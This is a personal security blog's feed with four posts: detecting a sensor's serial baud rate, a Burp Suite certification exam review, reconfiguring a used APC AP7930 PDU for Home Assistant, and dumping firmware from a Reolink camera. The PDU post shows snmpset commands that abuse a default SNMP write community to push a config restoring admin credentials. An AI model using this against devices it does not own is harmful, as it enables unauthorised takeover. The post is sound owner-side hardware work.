Jekyll2022-07-29T21:29:06+00:00https://micahvandeusen.com/feed.xmlMicah Van Deusen’s BlogMy personal blog on things I find interesting. Probably mostly InfoSec related.Micah Van DeusenDetermining Serial Baud Rate and The Case of The Incorrect Documentation2022-07-28T00:00:00+00:002022-07-28T00:00:00+00:00https://micahvandeusen.com/determining-serial-baud-rate-and-the-case-of-the-incorrect-documentation<h2 id="the-problem">The Problem</h2>
<p>Recently, Aqara released the FP1, a 60GHz mmWave radar presence sensor. Unlike regular PIR, a mmWave sensor can detect micro-movements, like breathing, to know if someone is in the room but stationary. At the time, however, they were out of stock or not available with shipping to the US. There are two frequencies that these sensors are typically available with, 60GHz and 24GHz. There are more options available for 24GHz like this one from <a href="https://www.dfrobot.com/product-1882.html">DFRobot</a> and this one from <a href="https://www.seeedstudio.com/24GHz-mmWave-Radar-Sensor-Human-Static-Presence-Module-p-5267.html">seeed studio</a>. The 60Ghz sensor I found was this one, also from <a href="https://www.seeedstudio.com/60GHz-mmWave-Radar-Sensor-Breathing-and-Heartbeat-Module-p-5305.html">Seeed Studio</a>.</p>
<p>When I received the sensor, I hooked it up to my FT232 and tried reading with the settings listed in the documentation from Seeed Studio.
<img src="/assets/img/determining-serial-baud-rate-and-the-case-of-the-incorrect-documentation/documentation.webp" alt="Documentation" />
The problem was that none of the data I was getting matched the structure defined in the datasheet. Either the protocol structure information or the serial baud rate was incorrect. For serial connections the baud rate can be arbitrary but both sides need to match. While not necessarily security related, UART connections are standard and identifying the pinout and settings needed to connect with them is one component of hardware security research.</p>
<h2 id="the-brute-force-way">The Brute Force Way</h2>
<p>There are realistically only several commonly used rates used as listed by <a href="https://en.wikipedia.org/wiki/Serial_port#Speed">Wikipedia</a>. You likely could just brute force the rate by hand. An interesting tool I came across was <a href="https://expliot.readthedocs.io/en/latest/index.html">EXPLIoT</a>, a security testing framework for IoT. One of the modules is a handy automated baud rate scanning tool. After following the simple wiki pages on installation and usage this is the output of running the tool against this sensor.
<img src="/assets/img/determining-serial-baud-rate-and-the-case-of-the-incorrect-documentation/expliot.webp" alt="EXPLIoT" /></p>
<p>Note that it didn’t positively identify what rate it was. That is due to the fact that it is looking for ASCII. This sensor isn’t sending any ASCII data, but if you are working with some sort of console this would work great. This method would work best in the majority of cases. However, if the data isn’t ASCII and you can’t tell if the data is right, one of the following methods may work better.</p>
<h2 id="the-windows-driver-way">The Windows Driver Way</h2>
<p>We just looked at the easiest method, but by why stop there. We can also use the sample program that Seeed Studio provided to determine the baud rate. Unfortunately, the Portmon Sysinternals tool doesn’t work on Windows 10 64bit. I identified an <a href="https://www.eltima.com/com-port-monitor-download.html">alternative program</a> that would allow monitoring the serial device driver activity. The program has a free trial that worked adequately.</p>
<p>After starting monitoring and using the sample program to connect to the device we see the IOCTL_SERIAL_SET_BAUD_RATE request with the baud rate of 115200.</p>
<p><img src="/assets/img/determining-serial-baud-rate-and-the-case-of-the-incorrect-documentation/serial-monitoring.webp" alt="Serial Driver Monitoring" /></p>
<h2 id="the-logic-analyzer-way">The Logic Analyzer Way</h2>
<p>In most cases you won’t have a program like the above so another method is to use a logic analyzer to determine the baud rate. There are a wide range of logic analyzers. The most common are the Salaea which, as of this post, run from $480 to $1,400. There are also some clones of the Salaea device like this <a href="https://amzn.to/3owR2Mu">one</a>. You can even use the clone with the Salaea Logic software or PulseView, an interface for sigrok. You will want to hook up channel 0 and 1 to rx and tx and ground to ground on the sensor. With Logic you can shift and click to create a measurement range over one of the pulses. It will show the width which should be the baud rate. From the image you can see it is close to the 115200 baud rate.</p>
<p><img src="/assets/img/determining-serial-baud-rate-and-the-case-of-the-incorrect-documentation/logic-selection.webp" alt="Logic Selection" /></p>
<p>There is even an extension called <code class="language-plaintext highlighter-rouge">Baud rate estimater</code>. All you need to do is open the extensions window on the right side and click install.</p>
<p><img src="/assets/img/determining-serial-baud-rate-and-the-case-of-the-incorrect-documentation/logic-extension.webp" alt="Logic Extension" /></p>
<p>Create the measurement window as before and it will have an additional field called f<sub>baud</sub>. In this case it is slightly higher than the 115200 rate.</p>
<p><img src="/assets/img/determining-serial-baud-rate-and-the-case-of-the-incorrect-documentation/logic-selection-with-extension.webp" alt="Logic Selection With Extension" /></p>
<p>With most serial communication typically using only a handful of rates, this was all a bit excessive. It was fun figuring out the multiple ways and hopefully was insightful. It could turn out to be useful on the off chance that a device isn’t using one of the common baud rates.</p>Micah Van DeusenThe Problem Recently, Aqara released the FP1, a 60GHz mmWave radar presence sensor. Unlike regular PIR, a mmWave sensor can detect micro-movements, like breathing, to know if someone is in the room but stationary. At the time, however, they were out of stock or not available with shipping to the US. There are two frequencies that these sensors are typically available with, 60GHz and 24GHz. There are more options available for 24GHz like this one from DFRobot and this one from seeed studio. The 60Ghz sensor I found was this one, also from Seeed Studio.Burp Suite Certified Practitioner Exam Review2022-07-21T00:00:00+00:002022-07-21T00:00:00+00:00https://micahvandeusen.com/burp-suite-certified-practitioner-exam-review<p>The following are my thoughts on the fairly recently released Burp Suite Certified Practitioner exam and some tips if you plan on taking it. The typical price for this is $99 dollars, however, I purchased several attempts around Black Friday when they had it for $9 dollars. The exam consists of two applications that have three vulnerabilities each that need identified and exploited. These vulnerabilities need to be exploited in order as each of the three stages gives you access to more of the application.</p>
<p>Stage 1 - Get access to a low privileged user account.</p>
<p>Stage 2 - Escalate privileges to the administrator account.</p>
<p>Stage 3 - Find a way to read the file at /home/carlos/secret</p>
<p>It took me three attempts to pass the exam and if you don’t make some of the mistakes I did you can likely pass in less. The exam isn’t too difficult if you are well prepared. I had only gone through several of the labs the first time I took the exam. This was a mistake as you should be very familiar with the exploit server and how to use it to deliver payloads to the simulated users. At the time, the exam was only 3 hours long and I was trying to get familiar with the platform while taking the exam and ran out of time. Since then, PortSwigger has raised the time limit to 4 hours which helps. The second time I completed 5/6 of the exam and got stuck in a rabbit hole thinking there should be a different vulnerability than it actually was. The third exam I ran into the same exact vulnerability that stumped me the 2nd time but I was able to take a step back and figure it out.</p>
<p>Overall, it was a fun experience and I learned some things from the labs and the exam. Here’s the <a href="https://portswigger.net/web-security/e/c/f2fe19b30678c054">proof</a> I passed. Compared with some of the exams from Offensive Security, the biggest adjustment was getting used to the much shorter time limit. It forced me to adapt some of my methodology to be faster and more focused.</p>
<p>From the questionnaire after the exam, it sounds like this one is more targeted toward the practitioner level and another expert level certificate may be coming at some point. I look forward to any other certifications that PortSwigger creates. I’m interested though to see how that exam would work if they stick to the same time limit.</p>
<p>Also, if you haven’t checked out the PortSwigger labs yet, I highly recommend them even if you don’t plan on taking the exam. It is some of the most thorough and organized content out there for web security. They have their quirks, but for the price of free it can’t be beat.</p>
<h3 id="tip-1">Tip 1</h3>
<p>Identify the new functionality. Each of the applications across the lab and exam use the same exact base blogging site. Because of this you can determine any additional functionality or differences at each new step. If you get access to a user account you should then look at what additional functionality is exposed that wasn’t accessible unauthenticated.</p>
<h3 id="tip-2">Tip 2</h3>
<p>Use selective scanning and start it as soon as possible. Automated scanning takes its time. As you’re going through the application get it started right away. In addition, focus on any inputs. PortSwigger has a guide on scanning specific inputs here: <a href="https://portswigger.net/web-security/reference/augmenting-your-manual-testing-with-burp-scanner">https://portswigger.net/web-security/reference/augmenting-your-manual-testing-with-burp-scanner</a>. In addition, create some scanning configurations ahead of time for select vulnerabilities you want to look for. That will speed up the scanning as well.</p>
<h3 id="tip-3">Tip 3</h3>
<p>Search the PortSwigger documentation and labs. You will likely want proof of concept code to exploit vulnerabilities. However, for a lot of this you can just as easily copy it from the solutions of related labs and modify it for your specific use case. There are few, if any, curve balls of anything not covered in the labs. Because of that they are great reference to look at during the exam.</p>
<h3 id="tip-4">Tip 4</h3>
<p>Don’t get tunnel vision. The reason I failed one of my attempts was that I got stuck thinking the new functionality had to be one type of vulnerability when it was something completely different. If you don’t make any progress, take a step back, and then see what other type of vulnerability it might be. There also may be hints in the wording of things as to what the vulnerability is or what may be happening behind the scenes.</p>
<h3 id="tip-5">Tip 5</h3>
<p>Focus on the vulnerabilities relevant to the stage you are on. Just going through the list of lab categories, not using any knowledge from what I saw on the exam itself, we can categorize them into what you should be looking for when. Don’t go looking for command injection at the very start.</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Stage 1</th>
<th>Stage 2</th>
<th>Stage 3</th>
</tr>
</thead>
<tbody>
<tr>
<td>SQL Injection</td>
<td> </td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Cross-site scripting</td>
<td>✔️</td>
<td>✔️</td>
<td> </td>
</tr>
<tr>
<td>Cross-site request forgery (CSRF)</td>
<td>✔️</td>
<td>✔️</td>
<td> </td>
</tr>
<tr>
<td>Clickjacking</td>
<td>✔️</td>
<td>✔️</td>
<td> </td>
</tr>
<tr>
<td>DOM-based vulnerabilities</td>
<td>✔️</td>
<td>✔️</td>
<td> </td>
</tr>
<tr>
<td>Cross-origin resource sharing (CORS)</td>
<td>✔️</td>
<td>✔️</td>
<td> </td>
</tr>
<tr>
<td>XML external entity (XXE) injection</td>
<td> </td>
<td> </td>
<td>✔️</td>
</tr>
<tr>
<td>Server-side request forgery (SSRF)</td>
<td> </td>
<td> </td>
<td>✔️</td>
</tr>
<tr>
<td>HTTP request smuggling</td>
<td>✔️</td>
<td>✔️</td>
<td> </td>
</tr>
<tr>
<td>OS command injection</td>
<td> </td>
<td> </td>
<td>✔️</td>
</tr>
<tr>
<td>Server-side template injection</td>
<td> </td>
<td> </td>
<td>✔️</td>
</tr>
<tr>
<td>Directory traversal</td>
<td> </td>
<td> </td>
<td>✔️</td>
</tr>
<tr>
<td>Access control vulnerabilities</td>
<td>✔️</td>
<td>✔️</td>
<td> </td>
</tr>
<tr>
<td>Authentication</td>
<td>✔️</td>
<td>✔️</td>
<td> </td>
</tr>
<tr>
<td>Web cache poisoning</td>
<td>✔️</td>
<td>✔️</td>
<td> </td>
</tr>
<tr>
<td>Insecure deserialization</td>
<td> </td>
<td> </td>
<td>✔️</td>
</tr>
<tr>
<td>HTTP Host header attacks</td>
<td>✔️</td>
<td>✔️</td>
<td> </td>
</tr>
<tr>
<td>OAuth authentication</td>
<td>✔️</td>
<td>✔️</td>
<td> </td>
</tr>
<tr>
<td>File upload vulnerabilities</td>
<td> </td>
<td> </td>
<td>✔️</td>
</tr>
<tr>
<td>JWT</td>
<td>✔️</td>
<td>✔️</td>
<td> </td>
</tr>
</tbody>
</table>
<h3 id="tip-6">Tip 6</h3>
<p>They tell you in the instructions that the low privilege user is possibly in this <a href="https://portswigger.net/web-security/authentication/auth-lab-usernames">list</a> and the password in this <a href="https://portswigger.net/web-security/authentication/auth-lab-passwords">list</a>. There is probably a reason they mention it and it doesn’t take long looking for user enumeration and to perform password spraying. In general, most wording throughout the instructions and the exam pages are there for a reason and may be hints for what you should do.</p>
<h3 id="tip-7">Tip 7</h3>
<p>Take the practice exam. It’s a good way to get familiar with the exam format.</p>
<h3 id="tip-8">Tip 8</h3>
<p>Register using the same email for the proctoring site. The whole proctoring process is odd and I think it has thrown a couple people off. It is just used for photo and ID verification to enter a password to start the exam. For me, the proctoring site didn’t recognize the exam unless it was under the same exact email. This is just from personal experience though. It does make me question how the integrity of the certificate will hold up as cheating the proctoring seems trivial. However, that’s a much bigger problem that not even full exam length proctoring completely solves.</p>
<h3 id="tip-9">Tip 9</h3>
<p>Check the website occasionally after passing the exam. I think clearer instruction after the exam would be helpful. You have to wait until the end of the full 4 hours to know the next step of waiting 24-48 hours for the results and proctoring to be verified. I was expecting an email when that happened and waited several days for it. Turns out you have to login to the PortSwigger site to get the final results.</p>Micah Van DeusenThe following are my thoughts on the fairly recently released Burp Suite Certified Practitioner exam and some tips if you plan on taking it. The typical price for this is $99 dollars, however, I purchased several attempts around Black Friday when they had it for $9 dollars. The exam consists of two applications that have three vulnerabilities each that need identified and exploited. These vulnerabilities need to be exploited in order as each of the three stages gives you access to more of the application.Setting up an AP7930 PDU with Home Assistant2022-07-09T00:00:00+00:002022-07-09T00:00:00+00:00https://micahvandeusen.com/setting-up-an-ap7930-pdu-with-home-assistant<h2 id="overview">Overview</h2>
<p>I have a workbench in my office for working on various projects. There are more devices than the current regular power strip has outlets. For this reason, I wanted to mount a power strip to the wall behind the workbench. After looking at various options, I came up with the idea to use a used power distribution unit (PDU) and found a switched one that was a decent price. With it being a switched PDU I can remotely turn outlets on/off and monitor the load across all outlets. This is definitely overkill but a fun project.</p>
<h2 id="selecting-a-pdu">Selecting a PDU</h2>
<p>There are several things to look at when finding a PDU. The first is the input voltage and whether it is single phase or three phase. If you are in North America and don’t have three phase like most people then you will want something that is 120v and single phase. I found that some listings don’t mention this information so you should double check the model number with the manufacturers data sheet. Another thing to take note of is the type of plug. The AP7930 I found and most other single phase PDUs appear to use a NEMA l5-20P plug. This means that it is rated for 20 amps and uses a locking plug that can’t be accidentally be pulled out. This is not the standard outlet in most houses. You can either replace the receptacle with something like <a href="https://amzn.to/3ujP0SX">this one</a> and a corresponding wall plate or get an <a href="https://amzn.to/3Ibz5vT">adapter</a>. It’s important to note that it is not code to put a 20 amp receptacle on a 15 amp circuit. Consult an electrician if you are not comfortable. In my case I had already run a new wire as the existing wire was only rated at 15 amps and did not have a ground wire.</p>
<p>Another thing to look at is the supported features. There are two features you will want to look for: metered and switched. Metered will let you monitor the load on the PDU. Note that most of the time this is for all outlets and not monitored per outlet. However, there are options that have metering per outlet. A switched PDU will let you remotely control the outlet and turn it on/off. Each of these features comes with its own power consumption overhead that you may want to take into account. For APC they list out the power consumption for different models here https://www.apc.com/us/en/faqs/FA156173/. In my case the idle power consumption of several devices I wanted to automate turning off was more than the consumption of the PDU itself, so it made sense.</p>
<h2 id="performing-a-factory-reset">Performing a Factory Reset</h2>
<p>The AP7930 has one of the most convoluted reset procedures I have come across. The reset button by itself is not enough to perform a factory reset. You also need a <a href="https://amzn.to/3OOVyBC">serial cable model 940-0144</a> to then connect to it and reset it. I tried creating a cable with the listed pinout for this cable with the default baud rate, along with several other rates. However, I was unable to communicate with the device. I found an alternative method using the default SNMP string, which was not changed by the previous owner, as described on this site https://robbat2.livejournal.com/240492.html. There were a couple changes and things not listed so the process I used is as follows.</p>
<p>1 - Look at your DHCP leases and determine if the device was assigned an IP. If not, connect to the same network that the AP7930 is plugged into. Then run Wireshark with a filter for the MAC address listed on the back of the PDU. You should see the preconfigured IP address. In this case it is 10.66.154.244. Manually set your IP address and subnet appropriately to communicate with the device.
<img src="/assets/img/setting-up-an-ap7930-pdu-with-home-assistant/wireshark-arp.webp" alt="Wireshark Screen" /> Note that if you can access the web interface for the device in the browser with the default username and password of <code class="language-plaintext highlighter-rouge">apc</code> you can skip the following steps</p>
<p>2 - Install the SNMP MIBs</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nb">sudo </span>apt-get <span class="nb">install </span>snmp-mibs-downloader
<span class="nb">sudo sed</span> <span class="nt">-i</span> <span class="s1">'s/mibs :/# mibs :/g'</span> /etc/snmp/snmp.conf
<span class="nb">sudo </span>wget <span class="s2">"https://fossies.org/linux/misc/netxms-4.1.377.tar.gz/netxms-4.1.377/contrib/mibs/PowerNet-MIB.txt?m=b"</span> <span class="nt">-O</span> /usr/share/snmp/mibs/PowerNet-MIB.txt</code></pre></figure>
<p>3 - Verify that the default SNMP string is set by running the following command.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">snmpget <span class="nt">-v</span> 1 <span class="nt">-c</span> private <span class="nv">$IP</span> SNMPv2-MIB::sysDescr.0</code></pre></figure>
<p>You should get back the version running. If not, you may need to attempt to get the serial reset method working or extract the SNMP string from the I2C chip.</p>
<p>4 - Setup a TFTP server and host the following file as config.ini.</p>
<figure class="highlight"><pre><code class="language-yaml" data-lang="yaml"><span class="pi">[</span><span class="nv">NetworkTCP/IP</span><span class="pi">]</span>
<span class="s">SystemIP = 0.0.0.0</span>
<span class="s">SubnetMask = 0.0.0.0</span>
<span class="s">DefaultGateway = 0.0.0.0</span>
<span class="s">Bootp = enabled</span>
<span class="pi">[</span><span class="nv">NetworkTFTPClient</span><span class="pi">]</span>
<span class="s">RemoteIP = 0.0.0.0</span>
<span class="pi">[</span><span class="nv">NetworkFTPClient</span><span class="pi">]</span>
<span class="s">RemoteIP = 0.0.0.0</span>
<span class="s">RemoteUserName = apc</span>
<span class="s">RemotePassword = apc</span>
<span class="pi">[</span><span class="nv">NetworkFTPServer</span><span class="pi">]</span>
<span class="s">Access = enabled</span>
<span class="s">Port = </span><span class="m">21</span>
<span class="pi">[</span><span class="nv">NetworkTelnet</span><span class="pi">]</span>
<span class="s">Access = enabled</span>
<span class="s">Port = </span><span class="m">23</span>
<span class="pi">[</span><span class="nv">NetworkWeb</span><span class="pi">]</span>
<span class="s">Access = enabled</span>
<span class="s">Port = </span><span class="m">80</span>
<span class="pi">[</span><span class="nv">NetworkSNMP</span><span class="pi">]</span>
<span class="s">Access = enabled</span>
<span class="s">AccessControl1Community = public</span>
<span class="s">AccessControl1NMSIP = 0.0.0.0</span>
<span class="s">AccessControl1AccessType = read</span>
<span class="s">AccessControl2Community = private</span>
<span class="s">AccessControl2NMSIP = 0.0.0.0</span>
<span class="s">AccessControl2AccessType = write</span>
<span class="pi">[</span><span class="nv">NetworkDNS</span><span class="pi">]</span>
<span class="s">DNSServerIP = 0.0.0.0</span>
<span class="pi">[</span><span class="nv">SystemID</span><span class="pi">]</span>
<span class="s">Name = Unknown</span>
<span class="s">Contact = Unknown</span>
<span class="s">Location = Unknown</span>
<span class="pi">[</span><span class="nv">SystemDate/Time</span><span class="pi">]</span>
<span class="s">Date = 01/01/2014</span>
<span class="s">Time = 12:00:00</span>
<span class="pi">[</span><span class="nv">SystemUserManager</span><span class="pi">]</span>
<span class="s">Authentication = Basic</span>
<span class="s">AutoLogout = </span><span class="m">10</span>
<span class="s">AdminUserName = apc</span>
<span class="s">AdminPassword = apc</span>
<span class="s">AdminAuthPhrase = admin user phrase</span>
<span class="s">DeviceUserName = device</span>
<span class="s">DevicePassword = apc</span>
<span class="s">DeviceAuthPhrase = device user phrase</span></code></pre></figure>
<p>5 - Run the following commands to have the device download and apply the config. Note that it may take a while and need to be run a couple times.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">snmpset <span class="nt">-v</span> 1 <span class="nt">-c</span> private <span class="nv">$DEVICEIP</span> PowerNet-MIB::mfiletransferConfigTFTPServerAddress.0 s <span class="nv">$SERVERIP</span>
snmpset <span class="nt">-v</span> 1 <span class="nt">-c</span> private <span class="nv">$DEVICEIP</span> PowerNet-MIB::mfiletransferConfigSettingsFilename.0 s /config.ini
snmpset <span class="nt">-v</span> 1 <span class="nt">-c</span> private <span class="nv">$DEVICEIP</span> PowerNet-MIB::mfiletransferControlInitiateFileTransfer.0 i initiateFileTransferDownloadViaTFTP</code></pre></figure>
<p>6 - If it worked correctly, it should reset and you can access it by DHCP with the default username and password <code class="language-plaintext highlighter-rouge">apc</code>. Reset all the settings by going under <code class="language-plaintext highlighter-rouge">Administration - General - Reset/Reboot</code>, click <code class="language-plaintext highlighter-rouge">Reset All</code>, and <code class="language-plaintext highlighter-rouge">Apply</code>.</p>
<h2 id="updating-the-firmware">Updating the Firmware</h2>
<p>The device will likely not be running the latest firmware. It took a little while to find but the latest version can be downloaded from here <a href="https://www.apc.com/us/en/product/SFRPDU374_390/ap7xxx-switched-metered-rack-power-distribution-unit-firmware-revision-3-7-4-aos-3-9-0/">https://www.apc.com/us/en/product/SFRPDU374_390/ap7xxx-switched-metered-rack-power-distribution-unit-firmware-revision-3-7-4-aos-3-9-0/</a>. Once it is downloaded, extract it and run the executable. It will ask for the IP address of the device along with the username and password. The rest of the update process will be handled by the program. If there are any issues you can also update the device by logging in over ftp and uploading the rpdu and aos bin files after switching to binary mode.</p>
<h2 id="configuring-the-device">Configuring the Device</h2>
<p>Note that the security support on these devices is lacking. You can enable HTTPS, SSH, SNMPv3 but the ciphers it uses are outdated and not supported by modern clients. The easiest option is to change the default passwords and then segment it off from any untrusted devices.
Under <code class="language-plaintext highlighter-rouge">Administration - Security - Local Users</code>, change the password for the administrator user and then uncheck access enabled for the <code class="language-plaintext highlighter-rouge">device</code> and <code class="language-plaintext highlighter-rouge">read-only</code> account. For Home Assistant to control the device we will use SNMPv1, SNMPv3 would be preferred but I couldn’t get it working with the default SNMP integration. Make sure SNMPv1 is enabled by going to <code class="language-plaintext highlighter-rouge">Administration - Network - SNMPv1 - access</code> and checking <code class="language-plaintext highlighter-rouge">Enable SNMPv1 access</code>. Set the SNMPv1 community strings by going to <code class="language-plaintext highlighter-rouge">access control</code> right under the current page link. Click the first community name and change it to a secure string and change <code class="language-plaintext highlighter-rouge">Access Type</code> to write. Then go and change the other community names access type to disabled.</p>
<h2 id="configuring-home-assistant">Configuring Home Assistant</h2>
<p>Home Assistant has an integration for SNMP built in. You can find more configuration information here <a href="https://www.home-assistant.io/integrations/snmp/">https://www.home-assistant.io/integrations/snmp/</a>. You will need to modify your configuration.yaml and add the following sections. If you have either an existing switch or sensor section you can just append it to the existing section. To add other outlets just copy the switch entry and modify the name and the last number in the baseoid, which is the outlet number. The community string should be changed to the SNMPv1 write string you set and the host is the IP of the PDU.</p>
<figure class="highlight"><pre><code class="language-yaml" data-lang="yaml"><span class="na">switch</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">platform</span><span class="pi">:</span> <span class="s">snmp</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">PDU Outlet </span><span class="m">1</span>
<span class="na">host</span><span class="pi">:</span> <span class="s">your_pdu_IP</span>
<span class="na">community</span><span class="pi">:</span> <span class="s">your_community_string</span>
<span class="na">baseoid</span><span class="pi">:</span> <span class="s">1.3.6.1.4.1.318.1.1.4.4.2.1.3.1</span>
<span class="na">payload_on</span><span class="pi">:</span> <span class="m">1</span>
<span class="na">payload_off</span><span class="pi">:</span> <span class="m">2</span>
<span class="pi">-</span> <span class="na">platform</span><span class="pi">:</span> <span class="s">snmp</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">PDU Outlet </span><span class="m">2</span>
<span class="na">host</span><span class="pi">:</span> <span class="s">your_pdu_IP</span>
<span class="na">community</span><span class="pi">:</span> <span class="s">your_community_string</span>
<span class="na">baseoid</span><span class="pi">:</span> <span class="s">1.3.6.1.4.1.318.1.1.4.4.2.1.3.2</span>
<span class="na">payload_on</span><span class="pi">:</span> <span class="m">1</span>
<span class="na">payload_off</span><span class="pi">:</span> <span class="m">2</span>
<span class="na">sensor</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">platform</span><span class="pi">:</span> <span class="s">snmp</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">PDU Load</span>
<span class="na">host</span><span class="pi">:</span> <span class="s">your_pdu_IP</span>
<span class="na">community</span><span class="pi">:</span> <span class="s">your_community_string</span>
<span class="na">baseoid</span><span class="pi">:</span> <span class="s">1.3.6.1.4.1.318.1.1.12.2.3.1.1.2.1</span>
<span class="na">unit_of_measurement</span><span class="pi">:</span> <span class="s">A</span>
<span class="na">value_template</span><span class="pi">:</span> <span class="s2">"</span><span class="s">{{((value</span><span class="nv"> </span><span class="s">|</span><span class="nv"> </span><span class="s">float)</span><span class="nv"> </span><span class="s">/</span><span class="nv"> </span><span class="s">10)</span><span class="nv"> </span><span class="s">|</span><span class="nv"> </span><span class="s">float}}"</span></code></pre></figure>
<p>Once the configuration is done, restart Home Assistant and everything hopefully should work. You now can create automations to control the PDU, manually switch outlets on/off, etc.
<img src="/assets/img/setting-up-an-ap7930-pdu-with-home-assistant/homeassistant.webp" alt="Home Assistant Screen" /></p>Micah Van DeusenOverview I have a workbench in my office for working on various projects. There are more devices than the current regular power strip has outlets. For this reason, I wanted to mount a power strip to the wall behind the workbench. After looking at various options, I came up with the idea to use a used power distribution unit (PDU) and found a switched one that was a decent price. With it being a switched PDU I can remotely turn outlets on/off and monitor the load across all outlets. This is definitely overkill but a fun project.Dumping Firmware from a Reolink Camera2022-05-29T00:00:00+00:002022-05-29T00:00:00+00:00https://micahvandeusen.com/dumping-firmware-from-a-reolink-camera<p>This originally started out as an attempt to fix a Reolink RLC-520 camera that was bricked in a firmware update. In the end, I still haven’t figured out how to get it working again. I was, however, able to dump the firmware from a working reference camera of the same revision and also get the firmware running in QEMU. The emulation portion will likely be in a separate part 2.</p>
<p>The attempted firmware update apparently failed miserably as it never came back online. There was no power interruption as far as I know. To this day, I don’t know why it failed. After following the reset procedure and still no signs of life, Reolink offered to send a replacement camera for the cost of shipping and I could keep the broken one. With a broken device I had the perfect opportunity to dissect it, figure out why it failed, potentially fix it, and learn something in the process. My thought is that the flash memory was corrupted in the update.</p>
<p>After getting everything apart I found what looked like the flash chip on the main board. There was some paint on part of it and after scratching part of it off I could read the part number.</p>
<p><img src="/assets/img/dumping-firmware-from-a-reolink-camera/flash-chip.webp" alt="Flash Chip" /></p>
<p>I found this part on <a href="https://www.digikey.com/en/products/detail/macronix/MX25L12833FM2I-10G/9808862?s=N4IgjCBcoLQBxVAYygMwIYBsDOBTANCAPZQDa4ADAJwBMIAugL6OF2TkCyAGjQKwAyYGnADMIgGIcaASRhgKAcQaMgA">DigiKey</a> and confirmed it was a SPI 128MBIT NOR Memory IC. The data sheet no longer appeared to be there so after a quick search on the Wayback Machine I found the <a href="https://web.archive.org/web/20190217124743/http://www.macronix.com/Lists/Datasheet/Attachments/7447/MX25L12833F,%203V,%20128Mb,%20v1.0.pdf">data sheet</a> for this which had the pinout diagram, which is standard for most flash memory, and the operating voltage 2.7V - 3.6V.</p>
<p><img src="/assets/img/dumping-firmware-from-a-reolink-camera/pinout-diagram.webp" alt="Pinout Diagram" /></p>
<p>I first needed something that could interact and speak SPI. If you aren’t familiar with SPI, Ben Eater has a great <a href="https://youtu.be/MCi7dCBhVpQ">video</a> on it. There are a wide variety of devices I found for this. Most are based on the FTDI single channel FT232H or dual channel FT2232H and for this reason I bought and also recommend the Adafruit breakout board which is the cheapest option of the bunch.</p>
<p><a href="https://amzn.to/39tCdWu">FT232H Breakout $20</a></p>
<p><a href="https://www.attify-store.com/products/attify-badge-uart-jtag-spi-i2c">Attify Badge (FT232H) $40</a></p>
<p><a href="https://int3.cc/products/the-shikra">Xipiter Shikra (FT232H) $45</a></p>
<p><a href="https://amzn.to/39wa3tW">Bus Pirate $40</a></p>
<p><a href="https://www.digikey.com/en/products/detail/benjamin-vernoux/HYDRABUS-V1/15652912">HydraBus $62</a></p>
<p><a href="https://www.crowdsupply.com/securinghw/tigard">Tigard (FT2232H) $45</a></p>
<p>The connections that need to be made with the memory IC and the Adafruit FT232H are as follows:</p>
<table>
<thead>
<tr>
<th>Adafruit FT232H</th>
<th>Memory IC</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.3V</td>
<td>VCC (pin 8)</td>
</tr>
<tr>
<td>GND</td>
<td>GND (pin 4)</td>
</tr>
<tr>
<td>SPICS (D3)</td>
<td>CS# (pin 1)</td>
</tr>
<tr>
<td>MISO (D2)</td>
<td>SO/SIO1 (pin 2)</td>
</tr>
<tr>
<td>MOSI (D1)</td>
<td>SI/SIO0 (pin 5)</td>
</tr>
<tr>
<td>SCK/SCL (D0)</td>
<td>SCLK (pin 6)</td>
</tr>
</tbody>
</table>
<p>There are several places that mentioned that all pins of the memory IC should be connected, that would be reset and write protection pin. However, the datasheet for this particular chip seemed to suggest this wasn’t needed. It says, “The pin of RESET#, RESET#/SIO3 or WP#/SIO2 will remain internal pull up function while this pin is not physically connected in system configuration. However, the internal pull up function will be disabled if the system has physical connection to RESET#, RESET#/SIO3 or WP#/SIO2 pin.” Maybe I read that wrong but I don’t think this was related to any issues I encountered. Just note that this may be needed in certain situations.</p>
<p>There are several options for making connections with the flash IC. The easiest is if it is a removable DIP package where you could insert it into a socket. The flash chip in this case was in a SOIC package. This is surface mounted. Because I didn’t want to desolder and resolder the chip I opted to first try reading and writing the flash directly with it still on the board using a SOIC8 test clip, the 8 being the number of pins.</p>
<p><img src="/assets/img/dumping-firmware-from-a-reolink-camera/test-clip.webp" alt="Test Clip" /></p>
<p>Another option not diving into desoldering is to use micro grabbers like these that clip onto the pins of the chip.</p>
<p><img src="/assets/img/dumping-firmware-from-a-reolink-camera/micro-grabber.webp" alt="Micro Grabber" /></p>
<p>One thing I also tried was a 3D printed probing jig. Instructions for this can be found <a href="https://www.superhouse.tv/36-3d-printed-pcb-workstation-using-acupuncture-needles/">here</a>. Note that these make use of acupuncture needles. Amazon and other sellers don’t seem to carry these. However, the exact same thing can be found for 3D printer nozzle cleaning.</p>
<p><img src="/assets/img/dumping-firmware-from-a-reolink-camera/probing-jig.webp" alt="Probing Jig" /></p>
<p>One possibility is that other onboard components can interfere with reading and writing to the flash chip. To get around that you would need to desolder it. For this you would want a hot air station and also potentially a board preheater. Once the chip is desoldered you could use a socket like <a href="https://www.adafruit.com/product/4726">this</a> one. It allows you to easily swap chips in and out without having to solder them.</p>
<p><img src="/assets/img/dumping-firmware-from-a-reolink-camera/smt-socket.webp" alt="SMT Socket" /></p>
<p>Alternatively there are breakout boards like <a href="https://www.adafruit.com/product/1212">this</a> that the surface mount chip can be soldered to.</p>
<p><img src="/assets/img/dumping-firmware-from-a-reolink-camera/breakout-board.webp" alt="Breakout Board" /></p>
